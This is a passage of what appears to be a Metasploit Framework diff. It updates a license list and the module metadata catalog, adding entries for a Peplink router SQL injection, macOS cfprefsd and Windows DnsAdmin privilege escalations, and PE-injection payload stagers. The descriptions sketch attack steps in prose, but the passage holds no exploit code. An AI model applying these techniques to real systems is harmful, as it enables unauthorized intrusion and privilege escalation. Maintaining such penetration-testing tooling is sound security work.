rubyzip, 2.3.0, "Simplified BSD"
sawyer, 0.8.2, MIT
@@ -161,7 +161,7 @@ tzinfo-data, 1.2020.1, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.7.7, MIT
unicode-display_width, 1.7.0, MIT
warden, 1.2.8, MIT
warden, 1.2.9, MIT
websocket-driver, 0.7.3, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
windows_error, 0.1.2, BSD
Binary file not shown.
+1280 -24
View File
@@ -18223,6 +18223,55 @@
},
"needs_cleanup": false
},
"auxiliary_gather/peplink_bauth_sqli": {
"name": "Peplink Balance routers SQLi",
"fullname": "auxiliary/gather/peplink_bauth_sqli",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"X41 D-Sec GmbH <info@x41-dsec.de>",
"Redouane NIBOUCHA <rniboucha@yahoo.fr>"
],
"description": "Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated\n SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an\n attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication.\n\n By default, a session expires 4 hours after login (the setting can be changed by the admin), for this\n reason, the module attempts to retrieve the most recently created sessions.",
"references": [
"EDB-42130",
"CVE-2017-8835",
"URL-https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a"
],
"platform": "Linux",
"arch": "",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": null,
"mod_time": "2020-09-02 20:19:03 +0000",
"path": "/modules/auxiliary/gather/peplink_bauth_sqli.rb",
"is_install_path": true,
"ref_name": "gather/peplink_bauth_sqli",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_gather/pimcore_creds_sqli": {
"name": "Pimcore Gather Credentials via SQL Injection",
"fullname": "auxiliary/gather/pimcore_creds_sqli",
@@ -34556,7 +34605,7 @@
],
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-08-26 12:34:03 +0000",
"path": "/modules/auxiliary/scanner/misc/java_rmi_server.rb",
"is_install_path": true,
"ref_name": "scanner/misc/java_rmi_server",
@@ -40321,6 +40370,46 @@
},
"needs_cleanup": false
},
"auxiliary_scanner/scada/modbus_banner_grabbing": {
"name": "Modbus Banner Grabbing",
"fullname": "auxiliary/scanner/scada/modbus_banner_grabbing",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "auxiliary",
"author": [
"Juan Escobar <juan@null-life.com>",
"Ezequiel Fernandez"
],
"description": "This module grabs the banner of any device running the Modbus protocol\n by sending a request with Modbus Function Code 43 (Read Device\n Identification). Modbus is a data communications protocol originally\n published by Modicon (now Schneider Electric) in 1979 for use with its\n programmable logic controllers (PLCs).",
"references": [
"URL-https://modbus.org/docs/Modbus_Messaging_Implementation_Guide_V1_0b.pdf",
"URL-https://en.wikipedia.org/wiki/Modbus#Modbus_TCP_frame_format_(primarily_used_on_Ethernet_networks)",
"URL-https://github.com/industrialarmy/Hello_Proto"
],
"platform": "",
"arch": "",
"rport": 502,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2020-09-08 10:51:30 +0000",
"path": "/modules/auxiliary/scanner/scada/modbus_banner_grabbing.rb",
"is_install_path": true,
"ref_name": "scanner/scada/modbus_banner_grabbing",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"auxiliary_scanner/scada/modbus_findunitid": {
"name": "Modbus Unit ID and Station ID Enumerator",
"fullname": "auxiliary/scanner/scada/modbus_findunitid",
@@ -41123,8 +41212,9 @@
"author": [
"Joshua D. Abraham <jabra@praetorian.com>"
],
"description": "This module enumerates files from target domain controllers and connects to them via SMB.\n It then looks for Group Policy Preference XML files containing local/domain user accounts\n and passwords and decrypts them using Microsofts public AES key. This module has been\n tested successfully on a Win2k8 R2 Domain Controller.",
"description": "This module enumerates files from target domain controllers and connects to them via SMB.\n It then looks for Group Policy Preference XML files containing local/domain user accounts\n and passwords and decrypts them using Microsoft's public AES key. This module has been\n tested successfully on a Win2k8 R2 Domain Controller.",
"references": [
"CVE-2014-1812",
"MSB-MS14-025",
"URL-http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)",
"URL-http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html",
@@ -41143,7 +41233,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-05-13 16:34:47 +0000",
"mod_time": "2020-08-28 16:20:42 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_enum_gpp.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_enum_gpp",
@@ -41485,7 +41575,7 @@
"microsoft-ds"
],
"targets": null,
"mod_time": "2020-07-01 09:13:01 +0000",
"mod_time": "2020-09-04 10:54:20 +0000",
"path": "/modules/auxiliary/scanner/smb/smb_version.rb",
"is_install_path": true,
"ref_name": "scanner/smb/smb_version",
@@ -70355,9 +70445,10 @@
"type": "exploit",
"author": [
"Snyk",
"sinn3r <sinn3r@metasploit.com>"
"sinn3r <sinn3r@metasploit.com>",
"ggkitsas"
],
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
"description": "This is a generic arbitrary file overwrite technique, which typically results in remote\n command execution. This targets a simple yet widespread vulnerability that has been\n seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.\n The idea is that often archive extraction libraries have no mitigations against\n directory traversal attacks. If an application uses it, there is a risk when opening an\n archive that is maliciously modified, and result in the embedded payload to be written\n to an arbitrary location (such as a web root), and result in remote code execution.",
"references": [
"URL-https://snyk.io/research/zip-slip-vulnerability"
],
@@ -70373,7 +70464,7 @@
"targets": [
"Manually determined"
],
"mod_time": "2019-09-12 07:43:54 +0000",
"mod_time": "2020-09-02 17:14:30 +0000",
"path": "/modules/exploits/multi/fileformat/zip_slip.rb",
"is_install_path": true,
"ref_name": "multi/fileformat/zip_slip",
@@ -82916,11 +83007,11 @@
"Mac OS X PPC (Native Payload)",
"Mac OS X x86 (Native Payload)"
],
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-08-24 10:11:03 +0000",
"path": "/modules/exploits/multi/misc/java_rmi_server.rb",
"is_install_path": true,
"ref_name": "multi/misc/java_rmi_server",
"check": false,
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
@@ -85658,6 +85749,50 @@
},
"needs_cleanup": null
},
"exploit_osx/local/cfprefsd_race_condition": {
"name": "macOS cfprefsd Arbitrary File Write Local Privilege Escalation",
"fullname": "exploit/osx/local/cfprefsd_race_condition",
"aliases": [
],
"rank": 600,
"disclosure_date": "2020-03-18",
"type": "exploit",
"author": [
"Yonghwi Jin <jinmoteam@gmail.com>",
"Jungwon Lim <setuid0@protonmail.com>",
"Insu Yun <insu@gatech.edu>",
"Taesoo Kim <taesoo@gatech.edu>",
"timwr"
],
"description": "This module exploits an arbitrary file write in cfprefsd on macOS <= 10.15.4 in\n order to run a payload as root. The CFPreferencesSetAppValue function, which is\n reachable from most unsandboxed processes, can be exploited with a race condition\n in order to overwrite an arbitrary file as root. By overwriting /etc/pam.d/login\n a user can then login as root with the `login root` command without a password.",
"references": [
"CVE-2020-9839",
"URL-https://github.com/sslab-gatech/pwn2own2020"
],
"platform": "OSX",
"arch": "x64",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Mac OS X x64 (Native Payload)"
],
"mod_time": "2020-09-04 17:42:30 +0000",
"path": "/modules/exploits/osx/local/cfprefsd_race_condition.rb",
"is_install_path": true,
"ref_name": "osx/local/cfprefsd_race_condition",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": true
},
"exploit_osx/local/dyld_print_to_file_root": {
"name": "Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation",
"fullname": "exploit/osx/local/dyld_print_to_file_root",
@@ -133624,6 +133759,58 @@
},
"needs_cleanup": null
},
"exploit_windows/local/dnsadmin_serverlevelplugindll": {
"name": "DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation",
"fullname": "exploit/windows/local/dnsadmin_serverlevelplugindll",
"aliases": [
],
"rank": 300,
"disclosure_date": "2017-05-08",
"type": "exploit",
"author": [
"Shay Ber",
"Imran E. Dawoodjee <imran@threathounds.com>"
],
"description": "This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the\n `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\`\n named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service\n will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended\n when using a UNC path.\n\n Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist,\n the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and\n users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus\n after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the\n `HKLM\\SYSTEM\\CurrentControlSet\\Services\\DNS\\Parameters\\` key on the target computer may point to an nonexistant DLL,\n which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for\n this module for advice on how to resolve this issue should it occur.\n\n This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows\n Server version up to and including Windows Server 2019.",
"references": [
"URL-https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83",
"URL-https://adsecurity.org/?p=4064",
"URL-http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html"
],
"platform": "Windows",
"arch": "",
"rport": null,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": [
"Automatic"
],
"mod_time": "2020-09-09 12:26:42 +0000",
"path": "/modules/exploits/windows/local/dnsadmin_serverlevelplugindll.rb",
"is_install_path": true,
"ref_name": "windows/local/dnsadmin_serverlevelplugindll",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-service-down"
],
"SideEffects": [
"config-changes",
"ioc-in-logs"
],
"Reliability": [
"repeatable-session"
]
},
"needs_cleanup": true
},
"exploit_windows/local/docker_credential_wincred": {
"name": "Docker-Credential-Wincred.exe Privilege Escalation",
"fullname": "exploit/windows/local/docker_credential_wincred",
@@ -158588,7 +158775,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-06-19 12:20:01 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "php/meterpreter_reverse_tcp",
@@ -158710,7 +158897,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection",
"references": [
],
@@ -158744,7 +158931,7 @@
"Spencer McIntyre",
"OJ Reeves"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Listen for a connection with UUID Support",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Listen for a connection with UUID Support",
"references": [
],
@@ -158777,7 +158964,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP",
"references": [
],
@@ -158810,7 +158997,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Tunnel communication over HTTP using SSL",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Tunnel communication over HTTP using SSL",
"references": [
],
@@ -158843,7 +159030,7 @@
"author": [
"Spencer McIntyre"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker",
"references": [
],
@@ -158878,7 +159065,7 @@
"Ben Campbell <eat_meatballs@hotmail.co.uk>",
"RageLtMan"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Reverse Python connect back stager using SSL",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Reverse Python connect back stager using SSL",
"references": [
],
@@ -158912,7 +159099,7 @@
"Spencer McIntyre",
"OJ Reeves"
],
"description": "Run a meterpreter server in Python (2.5-2.7 & 3.1-3.6). Connect back to the attacker with UUID Support",
"description": "Run a meterpreter server in Python (compatible with 2.5-2.7 & 3.1+). Connect back to the attacker with UUID Support",
"references": [
],
@@ -158955,7 +159142,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-06-19 12:20:01 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_bind_tcp",
@@ -158988,7 +159175,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-06-19 12:20:01 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_http",
@@ -159021,7 +159208,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-06-19 12:20:01 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_https",
@@ -159054,7 +159241,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-06-19 12:20:01 +0000",
"mod_time": "2020-09-04 15:43:55 +0000",
"path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "python/meterpreter_reverse_tcp",
@@ -163500,6 +163687,722 @@
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_hidden_ipknock_tcp": {
"name": "Windows Inject PE Files, Hidden Bind Ipknock TCP Stager",
"fullname": "payload/windows/peinject/bind_hidden_ipknock_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection. First, the port will need to be knocked from\n the IP defined in KHOST. This IP will work as an authentication method\n (you can spoof it with tools like hping). After that you could get your\n shellcode from any IP. The socket will appear as \"closed,\" thus helping to\n hide the shellcode",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_hidden_ipknock_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_hidden_tcp": {
"name": "Windows Inject PE Files, Hidden Bind TCP Stager",
"fullname": "payload/windows/peinject/bind_hidden_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"Borja Merino <bmerinofe@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection from a hidden port and spawn a command shell to the allowed host.",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_hidden_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_ipv6_tcp": {
"name": "Windows Inject PE Files, Bind IPv6 TCP Stager (Windows x86)",
"fullname": "payload/windows/peinject/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_ipv6_tcp_uuid": {
"name": "Windows Inject PE Files, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/peinject/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_named_pipe": {
"name": "Windows Inject PE Files, Windows x86 Bind Named Pipe Stager",
"fullname": "payload/windows/peinject/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"UserExistsError"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a pipe connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_nonx_tcp": {
"name": "Windows Inject PE Files, Bind TCP Stager (No NX or Win7)",
"fullname": "payload/windows/peinject/bind_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"vlad902 <vlad902@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_tcp": {
"name": "Windows Inject PE Files, Bind TCP Stager (Windows x86)",
"fullname": "payload/windows/peinject/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_tcp_rc4": {
"name": "Windows Inject PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/peinject/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/bind_tcp_uuid": {
"name": "Windows Inject PE Files, Bind TCP Stager with UUID Support (Windows x86)",
"fullname": "payload/windows/peinject/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection with UUID Support (Windows x86)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/peinject/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/find_tag": {
"name": "Windows Inject PE Files, Find Tag Ordinal Stager",
"fullname": "payload/windows/peinject/find_tag",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"skape <mmiller@hick.org>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Use an established connection",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/findtag_ord.rb",
"is_install_path": true,
"ref_name": "windows/peinject/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_ipv6_tcp": {
"name": "Windows Inject PE Files, Reverse TCP Stager (IPv6)",
"fullname": "payload/windows/peinject/reverse_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker over IPv6",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_named_pipe": {
"name": "Windows Inject PE Files, Windows x86 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/peinject/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_nonx_tcp": {
"name": "Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)",
"fullname": "payload/windows/peinject/reverse_nonx_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"vlad902 <vlad902@gmail.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker (No NX)",
"references": [
],
"platform": "Windows",
"arch": "x86",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb",
"is_install_path": true,
"ref_name": "windows/peinject/reverse_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/peinject/reverse_ord_tcp": {
